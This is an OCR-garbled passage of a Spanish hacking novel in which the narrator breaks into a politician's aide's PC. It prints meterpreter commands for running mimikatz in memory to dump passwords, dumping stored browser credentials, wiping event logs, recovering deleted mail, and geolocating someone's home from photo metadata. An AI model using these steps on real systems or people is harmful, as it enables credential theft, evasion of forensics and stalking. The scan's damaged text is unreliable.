ar comodamente la configuracion del

f-3
ocess 40732 created.

hannel 1 created.
i i 6.1.7601]
soft Windows {Versi¢n ]
ocpyrmight (c) 2009 Microsoft Corporation. Rese

rechos.
1\ >wmic /namespace:\\root\Sec:urityCenter PATH Ant

et *
o hay instancias disponibles.

rvados todes los d

ivirusProduct

ivi ct
s\>wmic /namespace:\\root\SecurityCenter PATH AntivirusProdu

£ * )
o hay instancias disponibles.

Img 75: Invocacién de shell y consulta de W 1 "
i j el scrip
ia ning ivirus i Me libraba de andar jugando con
- no tenia ninglin antivirus mstaladq. ! : Lol gript

Tm:[cl :l\lrcr;gr; intentar ;agrar los servicios Antivirus 0 perderdul; PbDu;u rato ocu
K1l ! . . -
aplicacion con la misma técnica que usé para crear el payload de -
me mandd de vuelta al intérprete _de xpeterpreter, ejec:m
) directamente en memoria (-m), adjuntandolo a un proc

M1 del estado del antivirus.

Tras un exit en la shell que
mimikatz (-f mimikatz.exe
dummy (-4 calc.exe), con
contrasefias (-1 —¢ -a / "sekurlsa:

isible en pantalla (-H). i
fuera Vlmbal:zt petar > eiecu'ta H -1 ¢ -m -d cale.exe T mimi/win3Z/mimikatz.exe —a

rrgakurlsa: : logonRasswords full™ exit’
rocess 1420 created.
Channel 5 created.
lnimikatz 1.0 %86 (RC)
/7 http: //blog.gentilk

: logonPasswords full”

/* Traitement du Kiwi */
jwi.com/mimikatz

mimikatz (commandline) # sekurlsa: : logonPasswords full

4 3 4189
Authentification Id ; 0&:‘}4434
Package drauthentification : Ndmj-n
ptilisateur princip?1 ) : ;Cw2003
Domaine d'authentification

msvl 0 ¢ .
* gtilisateur : adm;.roxua
: PCW.
: gg:lali:l[l:( : dechleBdOZdabebbfeOﬂb’!?lee::g
+ Hash NTIM 3 5066b’1e76919d'1c‘1634f500e33672
kerberos : .
* pgtilisateur : admin
* Domaine : PCW2003

* Mot de passe : Quesol23! :
Img 76: Uso de aplicacion externa'y ejecucion en memoria

para el volcado de contrasefias.

ari i ctuar y revelar las
entos necesarios para intera r
g exit’), evitando que
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Recorri y ejecuté todos los scripts de enumeracion de contrasefias ubicados en: post/
windows/gather/credentials/* sin ningin resultado. Asi que usé una pequefia

aplicacion llamada iepv* delacompafiia Nirsoft, para encontrar credenciales almacenadas
en Internet Explorer.

meterpreter > execute -H -i -¢ -m -d calc.exe -f iepv.exe -a
'/stext c:\tmp\file.txt-
|Process 1948 created.
Channel 3 created.

mtereretar > cat /tmp/file.txt

Entry Name ¢ https://accounts.google. com/servicelogin

ype : AutoComplete

Stored In : Registry
ser Name ¢ igarralde@gmail.com
assword ! Quesol234!

assword Strength : Strong

[peterpreter > j

Img 77: Volcado de credenciales almacenadas en Internet Explorer.

Después de dos contrasefias similares, me quedé claro que al propietario le gustaba el
queso. No me extrafiaba. El tio era una rata.

Anoté todas ellas en mi mévil y segui escarbando en busca de més informacion.

Después de un buen rato invertido en el PC y sin nada destacable, decidi borrar las huellas
que habia dejado. Era consciente de haber instalado un meterpreter apuntando a la direccion
IP de mi servidor, y eso era rapidamente rastreable, pero ya me preocuparia mas adelante.

Para borrar lo‘s,registros de eventos de Windows, tanto los de aplicacién como los de sistema
y los de seguridad, hay que llamar al comando clearev. Este tiene el inconveniente de
no ser muy sutil, ya que cualquier administrador observaré enseguida que t_ow_os logs
han sido eliminados. Seria mucho més eficaz seleccionar solo aquellos ev’é@l’iii@;opios

y suprimirlos. Por si fuera poco, este borrado no es seguro, ya que estos pueden Hegar a
recuperarse con técnicas forenses.

Pese a todo, me parecid mejor que nada vy los destrui.

meterpreter > clearev

[*] Wiping 3252 records from Application...
[*] Wiping 736 records from System...

[*] Wiping 3328 records from Security...

Img 78: Borrado de registros con clearev.

Mas tarde, pensé en revisar el archivo de correo electrénico que usa Outlook para almacenar
los mensajes: Outlook.pst. Obtuve el mismo resultado. Decenas de mensajes sin ningtin
valor. Parecia estar llegando a un callejon sin salida. Entonces recordé el mévil de Yolanda
y ¢dmo encontré la pista en los datos borrados, por lo que hice lo mismo en este caso.

La carpeta de “Elementos eliminados” estaba vacia. Tendria que utilizar técnicas forenses
para ver si podia encontrar su antiguo contenido. En esta ocasion, resultaba mas sencillo
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ero para usar un programa de

usar un viejo truco. El proceso consistia en corromper el fich
iminados siempre que fuera

reconstruccion, que paralelamente recuperaba los correos el
posible.

Abri el archivo con un edit
desde la posicion 7 hasta la 13, sustituyén
Esto seria suficiente para corromperlo:

or hexadecimal y cambié unos cuantos bytes de la cabecera,
dolos por 20 (equivalente a un espacio en ASCID).

Mitid55 oFASCDEE

" G © E F

0 1 = i 3 B
opoogo@e 21 42 <9 4B 77 CB B2 1A 7 Q0 13 00 0L 01 IBDHw...SM...nv-.
bgpo001a 40 00 00 00 c¥ A5 18 20 op 0o Ol 00 08 00 i
30006626 12 0D 20 00 0d 00 00 00 nog b 04 ©O 00
foogeogse 0o 0s 00 00 14 02 00 0D o 00 ©1 00 01 00

1 2 3 4 5 & 7 5 e D = § G123455739ABCDEF
Q0pa000 21 42 44 4E 77 €8 B2 2 2g 20 20 51 01 !BDNw.- o
Jpp0oi0 S0 00 09 00 CB A5 13 2D 00 0L 00 00 D0 Gauuwws saiss
gocog2o 12 0D 07 00 00 00 00 00 00 00 04 00 U0 wrwenses@ancnnns
GEDOB3Z0. 0 04 GO0 00 14 04 00 0O 00 01 00 03 00 ........ 0
ivo PST para corromperlo.

Img 79: Modificacién de la cabecera del arch:

Guardé una copia de seguridad, abri el nuevo archivo modificado con scanpst™, incluida
en el propio Office, y ejecuté el andlisis. La herramienta generé un nuevo fichero al
terminar. Tenia toda mi esperanza en esta jugada. Si esto no funciona

valor, implicaria tener que seguir violando leyes y penetrando en otros sistemas

i

oA

|
Esariba ol nombre del archivo que desea examinar: ‘
i [cvmpiouticok.pst Excamine... ]

| mmﬁ:w.;ﬂ!ﬂ'h&ﬁ&yd&m&smmkmmmmy
mh‘m‘mdaﬂi&m%ﬁshﬁnﬂaﬁnmmdelahmm de reparadén de
hwtum,m&hnm

—

o | e |

Img 80: Herramienta ScanPST para recuperar correos eliminados.

Cuando abri el nuevo PST, encontré decenas de COITeOS
e recupe

Fui revisandolos hasta encontrar uno con el asunto

atencion.
Senti una estaca de hielo en mi pecho y me quedé sin respiracion.

ol o 1
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ba o no habia nada de
personales.

borrados en la carpeta de
“Elementos eliminados”. Aparentemente, el método d racién habia sido correcto.
“Miinchen” que llamé mucho mi

ol

Lt L

. S

i Mensaje | T
I ‘-iy‘k

. Cur — = =ty
iy € 1 - S e A el
@1 x a " a “% Mover a: 7 I —i; -r ~ =
&- e Responder 3 todas 153 Al jere . L,m @' Marcar como no leido 3% q
_ﬂimmar i £ Reenviar % I - Movver B~ ¥ Sequimiento - [ Editiéh] zoom |
Responder -
X Mover | Etiquetas -
Loz saltos de linea adici de eite S T —— = | Zoom
pe 1 Gomikde Igarmide@madid og>
— Kootk com
Asunto: . u‘m"mE’ .-
Estimado amigo:
Debido iftimo
s fondor a5 sd al:;nteumlenms. nos hemos visto obligados 2 et poen st
S P £
s b 05 alas cuentas acordadas lo antes posible. Como siempre n:u:::e“im‘ !
|

quedar constancia de los movimientos u ocolos establecidos para eflo. No queremos que un
¥ =2 seguiran los prot pa q g
nuevo desculdo provecade por las prisas nos obligug ataner que manejar una nueva crisis.

.lf. seguriiacl :e s operaciones se havisto P iday esto es ilidad i
n de cualq [ de relacién o e
ol T e es inadmisible y compromete a ambas partes, por mucho que |

unque, por el momento y s ituacion parece controlada, no podemos confiarnos. De
Al anto y segun me han inf P:
sl ormado, la situacid po
] a,
), e
ahi, las medidas adoptadas. Las operaciones se reanudaran en cuanto estemos seguros de que su error no acarrea
consecuencias negativas. En caso contrario, debemas esta preparados y tener los fondos disponibles.

PD: De los [ ist a
asuntos pendientes de esta crisis encarguese como estime mas conveniente

Img 81: Correo electronico recuperado.
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Capitulo XVIII
Creepy

Solo cuando hube diseccionado de arriba abajo el ordenador y estuve seguro de no haber
olvidado nada relevante, abandoné Matrix para regresar de muevo a Zion, donde mi
particular Morfeo me observaba con un atisbo de interés. Eso me sorprendié tanto como la
lectura del correo borrado. Mi rostro debia de reflejar una profunda emocion para llamar de
ese modo la atencién de Marcos, que hasta entonces se habia mostrado impertérrito.

Me recreé en esta novedosa posicion de poder sobre €1 y mantuve silencio. Una pregunta
apremiante por su parte sabria a dulce victoria. Justo cuando ya creia que cederia y me
preguntaria qué habia descubierto, mi amigo se levanto y se marché del salon.

Me quedé observando con incredulidad la puerta por donde habia salido, sin saber qué
hacer a continuacion. Ahora me tocaba a mi estar intrigado.

No duré mucho: Marcos regresé con un libro en el regazo, se acomodo al otro lado del sofa
y empezo a leer “Operacion Rainbow”, de Tom Clancy.

No podia creerlo.
-¢No vas a preguntarme? —mis palabras rezumaban indignacion.

-No —resféndié, sin apartar los ojos del libro-. Pero como ti si vas a contarmelo, no
quiero perder el tiempo mientras te decides.

Pasé de pagina y sigui6 leyendo.

-Est4 bien —cedi, tras resistir duranie casi diez segundos-. Si dejas el libro y te acercas,
te lo mostraré.

-Un momento —me ensefié un dedo elevado y paso de pagina. Continud con la lectura
durante m4s de un minuto, sin atender a mis aspavientos de irritacion. Luego colocé el
marca paginas y dejo el libro cerrado sobre la mesa-. ;Qué tienes?

Sacudi la cabeza, preguntdndome una vez mas si ese tio era real. Decidi que la respuesta
no importaba realmente o, cuando menos, podia esperar.

-Como sabes —le dije-, modifiqué el archivo con la idea de tener acceso al PC de
Yolanda; pero la cosa no salié como esperaba y al final el fichero acab6 en manos de
los secuestradores. Supuse que estos lo abrirfan para confirmar que ya tenian lo que
buscaban. En €]l momento en que lo hicieran, el equipo que utilizasen no tendria secretos
para mi.

.

s TSR 'ﬁ""r‘"-‘ajflﬂ'? :’6 o A,

Wi P . d |
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omo pidiéndome que fuera al grano.

. Se puede saber mucho
do para abrir el PDF es
diese verla. En ella se

-; Tenemos un nombre? —pregunt6 Marcos, ¢

_Tenemos mucho més que un nombre —exclamé con satisfaccion
de alguien estudiando ol contenido de su PC. El que han utiliza
este —indiqué, girando la pantalla del portatil para que Marcos pu
leia ¢l nombre de la organizacion propietaria del equipo.
meterpreter ~ shell

process 3824 created.

channel 1 created.

Microsoft Windows [Versitn 65.1.7601]
Copyright {c) 2002 Microsoft corporation. Reservad

os todos los derechos.

C:\Users\admin\Desktop>net config workstation
net config workstation

Hombre del equipo \\PCB2603
Hombre completo de equipo PCEBE2603
admin

Nombre de usuario

Estaci¢n de trabajo activa en

NetBT_icpip_j09192350—3593—4DD1-A69B—B29006603?34} (OOOCZBFBBTCS)

versi¢én del programa Wwindows 7 Starter

pominio de estacién de trabajo CONSECOYHRC
pominio de inicio de sesi¢n PCB2603
Tiempo de espera de COM (s) 0
Ccuenta de envjo de COM (bytes) 16

250

Tiempo de envjo en coM {ms.)
se ha completado el comando sorrectamente.

|

C:\ﬂsers\admin\Desktop}
Img 82: Shell e “nformacion basica del equipo-

—L”Consecoyhac”? —ley6 con dificultad-. ;Qué es eso?
-Consejeria de Economia y Hacienda. Es un ordenador de 1

trama politica. Los dos lipos que secuestraron a Yolanda y qu
estan relacionados con alguien de ese departamento.

- Pero quién?
_Un momento —ahora era mi dedo el que se levan

Volvi a acercarme el portatil, ocultando la panta

alguien muy implicado en |
bastante desesperado para recurrir al robo y al secuestro con

que lo incriminan.

-Pero, ;cudles son €sas pruebas? —pregunté Marcos, trat
razonamientos-. TG mismo has dicho que no habia ningn nombre en el archivo.

a Comunidad. Demuestra la
e luego intentaron matarme

taba en su direcciony solicitaba tiempo.
Ila a la vista de Marcos-. Tiene que ser

a trama, con el suficiente poder politico ¥ economico, y 1o
tal de borrar las pruebas

ando de seguir el curso de mis
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-Pero si
i que los hay. Ahora puedo asegurar que las ciudades alemanas de la tabla so
n

alias de cargos politicos ibi
que recibieron pagos d 16 i
que podamos poner a cada alias nombrel?y Epillifi(}ﬂsélgroup' ol e cuestion de tiempo

-Por eso querian recuperar la lista a toda costa.

'Y ellmlnar a i 1 1 N =
i qiulen hublera tell.l(.ZIO acceso a ella asenti g POI'qU.C el al’ChiVO no SOI() €5
una llsta COIlt €ne una COntabllldad paralela con .ustiﬁcantes de pagOS trasferel’lcia
£l 8

£ S L
baIlcaI 148, NUMETOo de cuenta de banCOS 288 paral [S1) tlSCaIES ES el Sueno }lunled() e
S d.

-BSs S y Y

1en. P S gl. S 81
T datos no S
I/ 0 esta mu l) c €ro seguimo n Sabe nlﬂgun IlOlnbl”e tOdOS €S0s ne

‘Blleno cnire O
5 ahdad S1 que tenemos un no b] (ST ( P()de (0] ]e]aCI()Ila] 1() con uno l
nom S

L CTAT .
(Cual? —pregunté Marcos, ahora verdaderamente interesado
No contesté imité .
. Me limité a mostrarle de nuevo la pantalla que llenaba el correo recuperado

Pa . ) . N
rece que estdn haciendo limpieza —dijo Marcos, después de leerlo-. Cuando el barc
. 0

se hunde, laS ratas son laS p era. ..
T1m S €n abaIldOnaI (6] Se IlOIIlbIe del IeIllltente
1 B E . Ine

-Es el propio Consej fomiTrd
Jero, que para ma - .
en el “asunto”. anep s inri ostenta el cargo de Vicepresidente. Y fijate

Marcos se incliné hacia delante para poder leer el campo indicado
-iMiinchén! —exclamé-. Ese nombre estaba en la lista.

-Si, y si no recu ici
erdo mal, en una posicié 1
i6n d : i
il y p estacada en relacién a las cuantias de los

-¢Cémo m i
; puede ser tan tonto de firmar con un alias que lo relaciona con la lista?
i Odavr 3 . - )
e ;a seb s1en§> seguro con las comunicaciones —aventuré-. Ademads, este es un correo
, 2
recuperaglo c:Erira;j1 19. El ge:irlltente no dela saber que iba a colarme en su ordenador y
, ) ias podria ser un c6digo, para que el destinatario sepa de dénde viene

y de qué va el asunto. Mira esto —sefialé e e
destinatario-. Es alguien de Telgroup. enc, dominjoncS) lasdireCCion eikconso el

-Etxeondo. |Vaya apellido més extraiio!

‘I or 10 que dlCe el COITcO debe € Sere elllaC y q q
d S€r 1
5 € con la empl‘esa uien COIltIOla ue el

-Y mira —indico-:
la posdata —indico-: eso de los asuntos pendientes puede muy bien referirse a tu

novia —reflexioné-. Segura i i
. mente el destinatario s ¢ 3
., N S
oo e ocie pa donde esta. Tenemos que montar



m Hacker Epico

-;Operacién de vigilancia? —pregunté con incredulidad-. ; Vigilar al consejero?

-No, al consejero no. Su seguimiento puede entrafiar riesgos. Esa gente lleva escolta;
aunque los encargados de la seguridad de autoridades de nivel medio son unos indtiles
_sonri6, como si recordara un viejo chiste-. De todos modos, no creo que ese sepa donde
retienen a la chica. Fijate otra vez en el correo: parece que s€ desentiende y delega en

el tio de Telgroup.

-; Entonces?
-Si pudiéramos averiguar el domicilio y obtener la fotografia de Etxeondo, podria
seguirle -reflexiono-. Quiza nos {leve hasta tu novia.

_Pero solo tenemos una inicial y un apellido -me lamenté-. Con esos datos sera dificil

conseguir una direccion.
o obtener una informacion tan delicada partiendo de una base

d, pero para llegar a 1o que uno necesita debe abrir las puertas
uenta con una buena informaci6n previa. Este

Me quedé pensando en com
tan endeble. Todo esta en lare
correctas, y solo se sabe cuéles lo son sisecC
no era el caso.

Aun asi, me puse a teclear. Marcos se acerco para observar los movimientos de la pantalla,

pero mi moévil vibro antes de que yo pudiera hacer nada.

ante poco favorecedora de Mario, mi compafiero en la
. Era raro que llamara, pues nuestros conversaciones
ambio de instrucciones tacticas durante las batallas
omo algunas frases sueltas cuando acudiamos a “La

En el teléfono apareci6 una foto bast
oficina y maestro del “Call of Duty”
fuera del trabajo se reducian al interc
online de los viernes por la noche, asi ¢
Copa Dorada” en compaiiia de Jaime y Roberto.

L Qué te cuentas, hombre? Me pillas algo ocupado —no

-, Mario? —pregunté extrafiado-.
I - : .
o escuchando otra version de lo ocurrido €l viemmes en

queria distraerme de mi cometid
el bar.

-Angel, amigo, siento molestarte _contesto-, pero es importante... Bueno, no muy
importante, pero si lo suficiente para llamarte... Sino puedes hablar ahora, esto... e
llamo luego, o me llamas ti1... pero no mucho mas tarde, ;vale?... porque, como te digo,
es importante, aunque no muy urgente, sin embargo...

erbales de mi compafiero eran legendarios.

-No, no, Mario —le corté. Los circunloquios v
tenia que ir al bafio. Seguramente Aaron

Podia emplear cinco minutos en decir que
Sorkin le escribia sus frases-. Dime lo que sea.

¢ levantd y se puso a hacer flexiones de suelo cuando entendi6 que la conversacion

Marcos s
se prolongaria.
~Veras, es complicado —dijo Mario-.
sabrés, te invitamos a venir al bar de siempre, pero, esto..
compromiso social de mayor prioridad...

Todo se remonta a la noche del viemes. .. Como
. resulta que ti tenias otro
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i X . N g 0ZCO la hlStOI‘la RObeITO J 1 i
) 4 - - - ame ya me haIl Hlf()l]l[a( Q
tlplCO COIIlpOl’tal‘nleIltO ll’raCIOIlal de Jalme CuandO hay ChlcaS de pOI‘ Hlele y tOd() e. 1
SO.

-Ah... Bien, eso es genial, porque asi 5

- Rl genial, porque asi puedo saltarme esa parte... No es que 3

Comasade. ;g‘lop:](zir;a;zfa?n[if; ocug!dc_:, aunque debo decir que Jaime no ge cggl;f)rgg

oo B g0... Ni siquiera estuvo a la altura del compaiiero de trabajo

i i que, para mi, no fue mas alla de lo que podria catalogarm
p a... O, como dirfan algunos, una sucia estratagema para ligar )

-iMario! —interrumpi de nuevo. M t i i
oo - Me habia perdido-. Ya conozco la historia. ;Qué puedo

-Claro, claro. Estés ocu 1
, 0. pado, ya me lo has dicho. Y i
ramas. Lo siento. Trataré de ser breve. .. 30 65(0--. No paro de irme por las

-Por favor.

-Resulta qu i i
o A mclll ceﬂop;sifloglilg yo no le di mgyor importancia al asunto, esto... Roberto sf se
A 0 por ese estado de animo, debid i
° . 0, debid de idear un plan
€8C0n0Zco, para... /vengarse no es una palabra un tanto excesiva? S

-iu IetoIlCa S1 €8 exces1 =. q
X va _dl € eXi p I
I asper adO véngarse es 10 menos uec po

‘-iil,t :Ii)slzt'muo. Esto... perdona otra vez. Si te ltamo es porque me preocupa el... cli
epiSOdiOon qui se lﬁa ge'nf:raiiio entre nuestros dos amigos a raiz de este desaf.o.r-tunargg
. Ambos han iniciado una... disputa, si, di
e i - disputa, si, disputa es la palabra... donde no
s disparatadas, y que tiene Twi

gy e S, Y q ¢ Twitter como campo de batalla,
B Hrlr;eﬁcc;:étéa;uliazsalstggz h; lagzado Jaime, culpando a Roberto de haberlrz: calumniatlii)
€ irr ades de no sé queé pais... y que le i i6
incémoda con la chica que conocié en el balf’ 74 A% PUESIO € na sitoacin

De nuevo, no [)ude Ie[)l illl.l una sonr 1 a Ia V' t (o} V
g " s . 1S4 a 1sta d la del"l a que CStaba tomalldo la
hlStOI 1a. IaIIlbleIl me senti un pOCO Culpable pueS llab ’a ()% ] iCtO que S1n mi
. - . > 1 pI‘ Ocad un COl’lﬂ 5 i i
n NCI: Il, qUIZaS no hub. le t |C| (3] C()llS()]e l)ellsalld() ue (o] ]1 b a
mnter V€ O 1€Ta 1 gadO an oS M i
o G , )

. LE ) ) q » S1 1N apla mas
Iell’ledlo, pOdla COnfesar mi paI'tICIpaClOn y dlsculpalnle, y tOdO quedal'la €n una divel‘tlda
aIleCdOta qlle, mas adelallte, recOI‘darlamOS entl‘e l’isas y unas cuantas cer vezas

21(1 te;s;:g noes t(f)do —sigui6 Mario-. Jaime, en respuesta a la supuesta accion de Roberto, ha

i 0 une_lcs1 otos comprometedoras de este, en las que se le ve en un lamentable estado

FOtOcs)... ev; entemente causad’() por la ingesta desmesurada de bebidas alcohélicas. .,

i gl;&; _ a:[me, siergpre segun Roberto, esto... se habia comprometido a borrar en
i ierto pacto de amistad. Tengo que deci ia vi

ik goq cir que nunca le habia visto en poses tan

- Qué - S i iosi
¢Qué fotos son esas? —pregunté. Sentfa curiosidad. Roberto rara vez bebia més de un

pal' de cervezas NO €n vano, si V
. empre 1
> p le aba el COChe Cual‘ldO IOS cuatro Sallalllos de



144 Hacker Epico

-Pues, ciertamente, yo no las habia visto hasta la reciente batalla de tuits. Segun los datos
de geolocalizacion, se hicieron en Gandia el verano pasado... Recuerda que nosotros no
pudimos ir porque ese mes no tuvimos vacaciones.

Mi radar hacker se iluminé como Desembarco del Rey durante la batalla de Aguasnegras.
La voz de Mario sonaba cada vez mas lejana, hasta que el chirrido de los engranajes en mi

cabeza la apagd por completo.
-Te llamo luego —dije, y colgué apagando el inicio de una nueva e interminable réplica.

Arrojé el mévil a un lado y comencé a aporrear el teclado como un pianista interpretando
a Chopin. Marcos terminé su iltima serie de abdominales y se vino hasta mi para poder
curiosear. Parecia divertido al contemplar el frenético movimiento de mis manos sobre el
teclado. O quizas fuera mi gesto de concentracion ante la pantalla lo que le provocaba esa
sonrisa irénica. Le ignoré para desarrollar la idea que, involuntariamente, me habia dado
Mario.

Abri el navegador y probé buscando posibles usuarios con el apellido Etxeondo en Twitter,
pero no tuve suerte. No parecia ser usuario de la famosa red social; de Facebook, tampoco.
Intenté por ultimo con Linkedin, aunque en esta ocasién listé los usuarios que eran
empleados de la empresa Telgroup. Habia tres, pero afortunadamente solo uno correspondia
con “jetxeondo”: Javier Etxeondo.

Linked in. Tinocse

Perfil

Free Mobile App E-Book - Discover how leading companies taunch be

Javier Exteondo
Gestor de fondos en Telgroup S.L
nadrid ¥ alrededares, Espafia | Szrvicios financieros

caucacon  Administracion de Empresas en Complutense

B informacicn de contacto

@ es linkedin comfpukyavier-exteondolS8ia2? g0

Gestor de fondos

Telgroup S.L
enern da 2002 — Presente (10 aflos 10 meses)

Img 83: Perfil de Exeondo en Linkedin.

Su perfil no daba demasiada informacion personal ni enlazaba a otras péginas, por lo que
me habia adentrado en una nueva calle sin salida. La foto no contenia ningin dato de
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S, PEro se me ocwrrid investigar esa misma foto usando un buscador

como TinEye o el buscador de imégenes de Google de imagenes,
gle.

-

.9

s

TinEye §

Reverse Image Search

Result

Searched over 2.1803 hillion images in 1.470 seconds

for file: nownsm 2licdr.comymprinprssheing 100 196:4:2/000:1 3c/34
JPEG, 100x100, 3.7 KB I
* These rzsults expire In 72 hours why”

® Share » success Story!

¢ TinEye 1s fre< 1o use for non-commercial purposes

Img 84: Busqueda inversa de imagenes mediante TinEye.com.

Sent O e ba a a. (4] t: te i ye revelo n
la_C mo me 1 Cerc Ild ].en amente. TIHE me l que S1 tenla una cue ta
en IWltteI', donde pude COIanObal' que €r. M y
& d U1 usuario muy activo decel 148 de 11 )tOS
comentarios d d tlp - Era q p l)
un amanj d S p 1T 5 l u azad()l Or su
oment, e to QO [e] ) e dae CITO, a € a ()daba C
grueSO tamano y al que I'etrataba Contlnuamente para mOSl‘I‘aI'SelO a sus fOllOWGI‘S

Javier
@jetxeondo1975

2938 263 185
TWEET FOLLTWING FOLLIWWER ’FO"IJW I
. Tweets

Javier GRletenndot 275

| i e r
“oy a pasear al perral

1 Expant

Img 85: Perfil de Etxeondo en Twitter.
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Usando las imAgenes de su mascota y las propiedades de los metadatos que estas con‘c_e{nian,
lo situé rapidamente mediante la herramienta Creepy®, que automatiza la extracmofn de
imégenes y la obtencion de geolocalizacion que queda almacenada en cada una de las fotos
que habia colgado en la web.

Cree.py location creeper

1-31625108
140547621  -3.62511 2012-06-21:8 %,
|s0547278  |-3.624743 2012-05-121

[ 10,5475611148 -3.54195777344 2012-042
| 40.5474611148  -3.64196777344 2012-04-17]
105474611148 -3.64196777344 2012:04-16:

1 i & por.\c\-“ &
i 1-3.7025642395 2012-04-12f 7 Fe A Y 3
40.4165020942 -3.7025¢ s 1 0&\ sy 1 ‘A F#*&M«*ﬂ
| 40.546097 -3.626586 2012-04-12; ;',} %,
| 40.5474611148 -3.64196777344 2012-04-07 | = VW

!40.5474611148 -3.64196777344 2012-04-06)
| 40.547322 -3.646791 2012-05-12

| 40.544155 -3.630457 2012-04-21
| 40553811 -3.656114 12012:04-17
-3.646891 2012-04-1

-3.647009 | 2002-04-

-3.647161 2012-04-12

{-3.64673 |2012-04-07

1-3.647162 mg;ﬁ_f—_??
S

i 685 tweets have been retrieved out of a tota_l of 702. i
rom them, we were able to extract 56 locations. o . '
) We encountered 14 emors in total accessing varnous services.

a casa de Etxeondo usando Creepy.

Img 86: Geo-

localizacién de 1

_Esto tiene que ser su domicilio —senalé, mostrando la’informacmnda Mfgli)olsé qg;?éli Zﬁ
tomé unos momentos para memorizar tanto la fo_tograﬁa de E‘eronfotco o es}; —
de su casa-. El tio realmente quiere a su perro. Tiene un monton de fotos .
Sj vamos a seguirlo, habra que tener cuidado.

-Yo voy a seguirlo. Ti te quedas —dijo, levantandose del sofa. Antes de que pudiera

jetd to
incorporarme a mi vez y protestar, me sujeto el hombro con mano ﬁrlxlne y rnedzplsoslo
con su mirada de hielo-. Necesitas descansar. Ademas, til no puedes hacer nada.

estorbarias.
- Qué?
_No te ofendas, colega. Pero si tuvieras que colarte en los ordenadores de la NSA y

de ello dependiera traer a tu novia sana y salva, jte gustaria que yo estuviera sobre tu
hombro y cuestionara todo lo que hicieras?
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-Supongo que no, pero... ;Qué tiene que ver la NSA con esto?

-Cada profesional en su campo, ¢ vale? Ademas, pretendo pasar por tu casa y comprobar
si alguien te estd esperando. Si es asi, se llevara una desagradable sorpresa.

-Marcos...

-No te preocupes. Si hay alguien, me mantendré oculto y observaré. Nada mas. No
tengo tiempo ni ganas de lidiar con un cadéver. Eso seria. .. incémodo.

-Marcos...
-Claro, que sino me dejan otra opcion. ..

-iMarcos! —grité, consiguiendo por fin su atencién-. No quiero que haya ningin cadaver,
Esto no es un juego. No es el Metal Gear Solid.

-Por supuesto que no —me tranquilizo-. Esto es la vida real... Y es mucho mas divertida.

Marcos contemplé mi estupor con expresién circunspecta. Me dio una tiltima palmadita en
¢l hombro y se march6 a su habitacion. Con la duda de si hablaba en serio, me dediqué a
minimizar las ventanas que tenia abiertas en el escritorio cual baraja de naipes. La tltima

que qued6 abierta y que ahora ocupaba toda la pantalla era la del correo borrado. Habia
algo en él que me escamaba.

Al descubrir la implicacién del consejero, crefa disponer de todas las piezas det
rompecabezas. Tenia una red de corrupcién que operaba entre la Comunidad y Telgroup.
También, a un alto cargo politico y su enlace con la empresa colaboradora. Estaba claro
que aquel recibia sobornos para que los contratos mas sustanciosos recayeran en esta. Y el
dinero que se quedaba por el camino se repartia entre los demas implicados.

Soborno, cohecho, fraude, blanqueo de capitales, trafico de influencias. .. solo eran algunos
de los delitos que se habian cometido en aras del lucro personal. Si a esto afiadimos el
allanamiento, el robo, el secuestro y el intento de asesinato, no es extrafio que deseara con
todas mis fuerzas que el responsable lo pagara bien caro.

Nunca habia tenido un sentimiento de venganza tan intenso. Mi cabeza proyectaba la
imagen de Yolanda, sola y atemorizada en un oscuro zulo de un lugar desconocido. Solo
pensar que ese malnacido era el responsable de su sufrimiento, hacia que mi sangre hirviera.

-Me voy —dijo Marcos, y mi recreacion mental del consejero ardiendo lentamente en

fuego valyrio se desvanecio como una nube de vapor arrastrada por el viento-. ;Quieres
que te traiga algo de tu casa?

-No, gracias. Solo asegtrate de regar las plantas.

-Muy gracioso, colega. Por cierto, te he preparado el cuarto de invitados. Y hay comida
en la nevera.

-Gracias —sefialé el macuto que colgaba de su espalda-. ;Qué llevas en la mochila?
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- Esto? —se encogi6 de hombros-. Son mis equipos de vigilancia e inquisicion.

-;Qué diablos es un equipo de inquisicion?
-;De verdad quieres saberlo?
Recuperé la visién de Yolanda. Ahora me la imaginaba llorando.
-No —dije-. La verdad es que me da igual. Pero ten cuidado.
-No te preocupes. Solo pretendo observar. A no ser que se presente una oportunidad de
utilizar mi equipo de inquisicion. ..
Opté por guardar silencio. Estaba impresionado por el sacrificio y la resolucion mostrados
hasta entonces por mi amigo. Antes de que se marchara, le pedi que esperase un momento.
-;Por qué te implicas tanto? —pregunté-. Quiero decir, yo nunca te pediria que te
arriesgaras hasta ese punto.
-Ti harias lo mismo por mi —me dijo-. Es lo que conlleva la amistad.

-No estoy muy seguro de que yo hubiera tumbado a esa mole que trataba de ejecutarme.
Y esto que vas a hacer ahora... nunca podré agradecértelo lo suficiente.

Marcos se qued6 pensativo unos momentos, con la mirada perdida en algin rincén de su
memoria mas lejana. Tardé solo unos segundos en volver.

_Eres mi amigo —zanjé-. No hay nada que agradecer.
Se encogié de hombros, como si lo demds fuera evidente.

Yo no sabia qué decir. Marcos nunca se habia abierto de ese modo conmigo y ahora era
evidente que se sentia incomodo. Le ayude cambiando de tema, agradeciéndole solo con la
mirada lo que estaba a punto de hacer.

-(Crees que es el maximo responsable? —pregunté-. El consejero, digo. (Es quien esta
detras todo?

-Bueno —Marcos reflexion6. Habia llegado hasta la puerta y sostenia en pomo con
Ja mano-. Su cargo le permite el control total de las operaciones. Supongo que habra
muchos més implicados en la consejeria, pero €l encaja como poder en la sombra.

-Pero, jpor qué? ¢Por qué alguien que ha sido elegido por los ciudadanos y que deberia
velar por sus intereses se corrompe de tal modo?

_Sin ofender, Angel, pero eres un iluso —me dijo-. Ya deberias saber que, en este pais,
la politica es un negocio y la respuesta siempre es el dinero. Cuanto mas arriba, mas
dinero. Ese es el tmico fundamento de nuestro sistema.

Marcos se despidié llevandose dos dedos a la sien, al estilo militar. Luego abri6 la puerta
y se marché. El silencio que dejé me permiti6 escuchar los latidos de mi corazoén, cada vez
mas acelerados. :
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Cuanto més arriba, mas dinero”, habia dicho Marcos.

iré el comreo de nuevo. Parecia que’ Miinchen lo controlaba todo. Recordé la tabla

LaS sumas a e]. asoc adas eran m y l osas. | €Iro no las mas elev y
S 1 uy cuanti
‘ adaS. LaS mayores

Me = fi i i :
parallezz 15)5 Is}lmos crispados a las Sienes y aprete, tratando de exprimir mi agotado cerebro
q estilara alguna conclusién. Finalmente llegd con la fuerza de una revelacién:

1 g 2
1 era el Vv lcepI eSIdeIl te eDtOIlCeS

iLa Presidenta! —exclamé en voz alta.

ey
